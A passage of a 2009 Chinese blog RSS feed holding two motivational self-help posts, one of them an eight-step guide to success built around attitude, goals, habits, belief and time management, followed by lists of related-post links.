<p><strong>扎实的基础是成功的法宝：</strong>如果一味地追求过高远的目标，丧失了眼前可以成功的机会，就会成为高远目标的牺牲品。许多年轻人不满意现在的工作，羡慕那些大款或高级白领人员，不安心本职工作，总是想跳槽。其实，没有十分的本领，就不应有些妄想。我们还是多向成功之人学习，脚踏实地，做好基础工作，一步一个脚印地走上成功之途。 </p>
<p>
      <strong>   实干才能脱颖而出：</strong>那些充满乐观精神、积极向上的人，总有一股使不完的劲，神情专注，心情愉快，并且主动找事做，在实干中实现自己的理想。 </p>
<p>  <strong>要征服世界，先战胜自己：</strong>要想成功，就要战胜自己的感情，培养自己控制命运的能力。 </p>
<p>       <strong>用心做事，尽职尽责：</strong>以积极主动的心态对待你的工作、你的公司，你就会充满活力与创造性的完成工作，你就会成为一个值得信赖的人，一个老板乐于雇用的人，一个拥有自己事业的人。 </p>
<p><p>
         <strong>对待小事也要倾注全部热情：</strong>倾注全部热情对待每件小事，不去计较它是多么的“微不足道”，你就会发现，原来每天平凡的生活竟是如此的充实、美好。
       </p>
<h3  class="related_post_title">相关日志 »</h3><ul class="related_post"><li>2009/08/31 -- <a href="http://cssrainbow.cn/articles/resources/671.html" title="Opera的Web标准课程（推荐）">Opera的Web标准课程（推荐）</a> (1)</li><li>2009/08/13 -- <a href="http://cssrainbow.cn/articles/resources/625.html" title="MooTools国外的教程和资源大集合">MooTools国外的教程和资源大集合</a> (0)</li><li>2009/08/12 -- <a href="http://cssrainbow.cn/articles/resources/618.html" title="数据之美（三）">数据之美（三）</a> (0)</li><li>2009/08/08 -- <a href="http://cssrainbow.cn/articles/resources/602.html" title="浏览器 跨域 安全 (收藏)">浏览器 跨域 安全 (收藏)</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/tutorials/mootools/599.html" title="选择mootools的5个原因(转)">选择mootools的5个原因(转)</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/articles/resources/595.html" title="MooTools vs Prototype 核心代码分析-为什么选择MooTools ">MooTools vs Prototype 核心代码分析-为什么选择MooTools </a> (2)</li><li>2009/08/01 -- <a href="http://cssrainbow.cn/articles/general/573.html" title="菊花香">菊花香</a> (0)</li><li>2009/07/22 -- <a href="http://cssrainbow.cn/articles/resources/523.html" title="如何做好一份前端工程师的简历 (收藏)">如何做好一份前端工程师的简历 (收藏)</a> (0)</li><li>2009/07/10 -- <a href="http://cssrainbow.cn/articles/general/398.html" title="神奇的成功步骤">神奇的成功步骤</a> (0)</li><li>2009/06/20 -- <a href="http://cssrainbow.cn/articles/resources/351.html" title="数据之美（下）">数据之美（下）</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://cssrainbow.cn/articles/general/402.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>神奇的成功步骤</title>
		<link>http://cssrainbow.cn/articles/general/398.html</link>
		<comments>http://cssrainbow.cn/articles/general/398.html#comments</comments>
		<pubDate>Fri, 10 Jul 2009 01:52:03 +0000</pubDate>
		<dc:creator>Rainbow</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[读书]]></category>

		<guid isPermaLink="false">http://cssrainbow.cn/?p=398</guid>
		<description><![CDATA[人犹如一台电脑。人的身体就像电脑的硬件，人的思想就像电脑的软件，人的思想也可以有选择性地安装，你选择了怎样的心态、思想方法和思维方式，就决定了你会有什么样的成就！成功是有序可循的。]]></description>
			<content:encoded><![CDATA[<h1 align="center">神奇的成功步骤 </h1>
<p>人犹如一台电脑。人的身体就像电脑的硬件，人的思想就像电脑的软件，人的思想也可以有选择性地安装，你选择了怎样的心态、思想方法和思维方式，就决定了你会有什么样的成就！成功是有序可循的。</p>
<h2>第一步:操之在我！</h2>
<p><strong>1、你认识你自己吗？</strong>你知道自己最喜欢什么和最擅长什么吗？你知道自己最大的缺点和最大的优点是什么吗？ </p>
<p><strong><br />
    2、你是否明确知道自己最想要什么？</strong></p>
<p>许多人都在过着自己不喜欢的工作或与自己不喜欢的人一起生活，生活对于他们来说就是一种煎熬！难道这一切都是命中注定的吗？不，绝对不是！你现在过得不快乐，是因为你从来就没下定决心一定要快乐，或者你是生中福中不知福？你也许一直贫困潦倒，是因为你从来没想过一定要致富，或者从来都不想信自己一定会致富？ </p>
<p><span id="more-398"></span></p>
<p><strong><br />
    3、很多人穷其一生都不知道自己究竟为何而活？</strong></p>
<p>–你想换一种活法、开始一个全新的生活方式吗？没有人帮得了你，除非你自己决心打开“由内到外”的 改变之门？ </p>
<p><strong><br />
    4、发挥你的强项。</strong></p>
<p>每个人都有潜藏着的某种优势，因此我们看人，包括自己，不要老是看到弱势的一面、缺点的一面，而应该更多地看到优势的一面，把重点放在开发和培养自己优势的一面上。而从整个世界来说，我们每个人都有相应的一个位置，这个位置主要是由什么决定的呢？主要是由它的优势决定的。人生的诀窍就是经营自己的长处、给自己的人生增值。正如富兰克林所说：“即使是宝贝，放错了地方也只能是废物。”</p>
<h2>第二步:态度决定一切。</h2>
<p><strong>   1、感恩的心。</strong></p>
<p>我们要感谢父母的养育之恩，感谢老师的教育之恩，感谢朋友的关怀之情，感谢我们赖以生存的环境：阳光、大地、空气，甚至还要感谢所有使你坚定成就的人–感谢伤害你的人，是他们使你变得更加的坚强；感谢欺骗你的人，是他们让你增加了见识；感谢斥责你的人，是他们增长了你的智慧。我们要以感恩以心来面对每一个人、每一件事，你将活得愈来愈快乐、愈自由！ </p>
<p><strong>2、爱心。</strong></p>
<p>内心深处的爱是你一切行动的源泉。   不愿奉献的人，缺乏爱心的人，就不太可能得到别人的支持；失去别人的支持，离失败就不会太远。没有爱心的人，不会有太大的成就。你有多大的爱心，决定你有多大的成功。</p>
<p><strong>3、一定要的决心。</strong></p>
<p>决心是最重要的积极心态，是决心，而不是环境在决定我们的命运。如果一定要，我们一定能够找到方法。决心，表明没有任何借口。改变的力量源自于决心，人生就注定于你做出决定的那一刻。只有决定一定要成功，潜能才能被激发。你到底是想成功还是一定要成功，要成功就立即采取行动。 </p>
<p><strong>4、企图心。</strong></p>
<p>（即是达成自己预期目标的成功意愿。）一个顶尖的推销员最优秀的素质是要有强烈的成交欲望；一个运动员最优秀的品质是&quot;永争第一&quot;的欲望。先找强烈的动机，后找方法。动机比方法更重要，当你一定要做好某件事时，你就会发挥你最大的力量去寻找方法。 </p>
<p><strong>5、热情。</strong></p>
<p>热情具有非常大的感染力,你的热情将感染你的朋友和你的家人.没有人愿意跟一个整天都提不起精神的人打交道，没有哪一个领导愿意提升一个毫无热情的下属。热爱是最好的老师，疯狂的干自己最想干的事，投入100%的热情，把工作当成一种娱乐，并享受在其中，这样的人常常在不知不觉中能取得惊人的成就。 </p>
<p><strong>6、敢于对自己的生命负100%的责任。 </strong></p>
<p><strong>7、自律。</strong></p>
<p>人人崇尚自由，然而，自由的代价是自律。自律就是要克制人的劣根性。不能自律的人迟早是要失败的。很多人成功过，但是昙花一现，根本原因就在于他缺乏自我约束。成功需要很强的自律能力。</p>
<p><strong>8、顽强。</strong></p>
<p>在我们追求成功的过程中，一定会遇到许多艰难、困苦、挫折与失败。你不打败它们，它们就会打败你！人生有两杯水，一杯是苦水，一杯是甜水，你愿意先喝哪一杯呢？。 </p>
<p><strong> 9、坚持。</strong></p>
<p>挑战人生需要百折不挠的精神：奋斗，失败，再奋斗，再失败，再奋斗……直至最终的成功，这就是成功的一般规律。成功之花靠奋斗者辛勤劳动的汗水去浇灌。奋斗与失败的每一次循环，都将人的认识提高到一个新的水平和高度，都向成功的目标逼近了一步。 </p>
<p><strong>10、快乐。</strong></p>
<p>只有快乐的人才能给别人带来快乐。征服恐惧心理的万能公式。</p>
<blockquote>
<p>一、问你自己，“可能发生的最坏情况是什么？”二、如果你必须接受的话，就准备接受它；三、然后很镇定地想办法改善最坏的情况！ </p>
</blockquote>
<p><strong>11、胸怀。</strong></p>
<p>所谓胸怀，就是一股用尽天下之材、尽天下之利的气度，当然，还包括相当程度的包容–对异己的包容，对陌生的包容，对不如己者的包容。只有这样，你才会形成一种从广大处觅人生的态度，把生命的境界做大，把事业做大。我们的心怀应该像大海一样宽广而有容，面临大海你的感受？无论遇到多大的挫折和困难，都要处事不惊，泰然处之。交际的最高艺术，并不是你强求别人怎么做，而是别人主动为你考虑，尽心尽力为你做得最好，生活的快乐并不在于拥有多少物质财富，而在于一个人内心的安宁与充实</p>
<h2>第三步:成功=目标，其它都是对这句话的解释。</h2>
<p>以终为始建立自己的人生目标管理系统。终极目标的确定，人生目标金字塔，自上而下的目标确定，实现目标则自下而上。APCU循环目标管理系统。 
 </p>
<p>  1、你知道你人生核心目标吗？ <br />
    2、永远做对人和人类有用的事。 <br />
    3、你的目标就是成为行业中的世界顶尖，因为你的成就绝不会超过你的所想！ <br />
    4、要对你的行业无所不知，只要你是最好的，最好的事情就属于你！</p>
<p>5、当你写下白纸黑字的那一瞬间，梦想就会变为目标。当你把目标分成几个步骤时目标就会成为计划，只有在你行动的时候，计划才会化为真实。 <br />
  6、如果你把事情分解成许多小的工作，就没有什么事情显得特别难做。</p>
<h2>第四步：是习惯在左右你的命运</h2>
<p>（高效能人士的七个重要习惯：1主动积极；2以终为始；3要事第一4双赢思维；5知已知彼；6综合综效；7均衡发展。）。 </p>
<p>
    1、研究自己的坏习惯，成功开始于一个人养成好的习惯的时候，当你改变自己的环习惯时，也是在改变自己的命运。 <br />
    2、习惯若不是最好的仆人，就是最差的主人。 <br />
    3、你每次摆脱掉一个坏习惯，你都是在形成一个好的习惯。 <br />
    4、成功的过程就是好习惯代替旧习惯的过程,所有的改变都是在改变潜意识。 </p>
<p></p>
<h2> 第五步:坚定自己的人生信念。</h2>
<p>
    信念：是你的看法在左右你的结果。按照行为科学的结论，人的行为95%以上都是按照习惯而行事，因此信念的力量之所以巨大是因为95%以上的时间（尤其是关键时刻），人的行为按照自己大脑潜意识中的习惯看法，即信念的指挥而行事。形成牢固信念的两大基本途径是：1、不断地被反复输入；2、不断地被证实。我们还可以复制成功者的信念系统，直至成为自己生命的一部分。有什么样的信念就有什么样的人生，但信念并 <br />
    非与生俱来的，是&quot;软件&quot;，由后天获得。我们有权选择和&quot;安装&quot;的自由，让我们慎选自己的信念。不要违心的做自己不想做的事，要倾听内心最真实的声音，按照自己心灵的指示去做事，保持自己人格和心灵的自由和独立，相信自己的人格是最高尚的，相信自己的思想是最 <br />
    具有智慧的，坚信自己的人生信念，坚持不懈的追求自己的人生价值，不断拓展自己的人生空间，升华自己生命的境界。 <br />
    信念，无疑是走向成功的必经途径。心理学家表明：人的行为受信念支配，你想要做出什么样的成绩，关键在于你的信念，所谓信就是人言，人说的话；所谓念就是今天的心。两个字合起来就是今天我在心里对自己说的话。若一个人在心里老是不停地埋怨自己，我不行！很难想像，他会在今后的人生中做出怎样的成绩；相反，若一个人在心底深处总是不停地鼓励自己，我能行！那他在人生中获得成功的机会就越大。人只有相信自己，才能成功。你认定自己失败，你就注定要失败！你坚定自己是哪一种人，你就会成为哪一种人？无论什么事，如果你反复地确认，总有一天会变成现实！拿破仑转世的故事。</p>
<h2>第六步:唤醒心中沉睡的巨人,利用潜意识三万倍的力量，加速你成功的步伐！</h2>
<p>潜意识24小时就是在工作的，无论你输入怎样的信号（自我暗示），它都会接受，因此你一定要把你最想要的和最积极的信号输入潜意识，常用的方法有：</p>
<p>1、视角化，反复看“梦想板”；</p>
<p>2、天天反复的自我确认：我是最棒的！我是最快乐的！我是最健康的！</p>
<p>3、催眠音乐和催眠思想，全身心放松，想象自己最想实现的成功意像！</p>
<p>4、静坐，什么事也不做，什么事也不想，进入入定的态度，宁静以致远！</p>
<h2>第七步:你热爱生命吗？那就不要浪费时间，因为生命是由时间组成的</h2>
<p>
    1、时间是对重要性的支配。 <br />
    2、把握重心，生活得有秩序、有重点。 <br />
    3、第四代时间管理理论！时间管理的黄金法则。 <br />
    4、找出时间管理中最大的障碍，探索出最适合自己的时间管理方法。 <br />
    5、每分每秒都要做最有生产力的事情。</p>
<h2> 第八步：知识就是力量。</h2>
<p>
    1、必备的综合知识和牢固的专业知识。 <br />
    2、获得知识的过程就是一个不断学习的过程，学习行之有效的方法，节省自己苦苦摸索的时间。 <br />
    3、只有不断的检讨才能获得更多的知识。 <br />
    4、学习的心态：空杯的心态，主动交换思想，虚怀若谷。 <br />
    5、我们除了不断学习、不断进取，别无选择。惟有知道得比 </p>
<p> </p>
<p>来源：薄雾倾城</p>
<h3  class="related_post_title">相关日志 »</h3><ul class="related_post"><li>2009/08/31 -- <a href="http://cssrainbow.cn/articles/resources/671.html" title="Opera的Web标准课程（推荐）">Opera的Web标准课程（推荐）</a> (1)</li><li>2009/08/13 -- <a href="http://cssrainbow.cn/articles/resources/625.html" title="MooTools国外的教程和资源大集合">MooTools国外的教程和资源大集合</a> (0)</li><li>2009/08/12 -- <a href="http://cssrainbow.cn/articles/resources/618.html" title="数据之美（三）">数据之美（三）</a> (0)</li><li>2009/08/08 -- <a href="http://cssrainbow.cn/articles/resources/602.html" title="浏览器 跨域 安全 (收藏)">浏览器 跨域 安全 (收藏)</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/tutorials/mootools/599.html" title="选择mootools的5个原因(转)">选择mootools的5个原因(转)</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/articles/resources/595.html" title="MooTools vs Prototype 核心代码分析-为什么选择MooTools ">MooTools vs Prototype 核心代码分析-为什么选择MooTools </a> (2)</li><li>2009/08/01 -- <a href="http://cssrainbow.cn/articles/general/573.html" title="菊花香">菊花香</a> (0)</li><li>2009/07/22 -- <a href="http://cssrainbow.cn/articles/resources/523.html" title="如何做好一份前端工程师的简历 (收藏)">如何做好一份前端工程师的简历 (收藏)</a> (0)</li><li>2009/07/10 -- <a href="http://cssrainbow.cn/articles/general/402.html" title="低调做人 高调做事">低调做人 高调做事</a> (0)</li><li>2009/06/20 -- <a href="http://cssrainbow.cn/articles/resources/351.html" title="数据之美（下）">数据之美（下）</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://cssrainbow.cn/articles/general/398.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
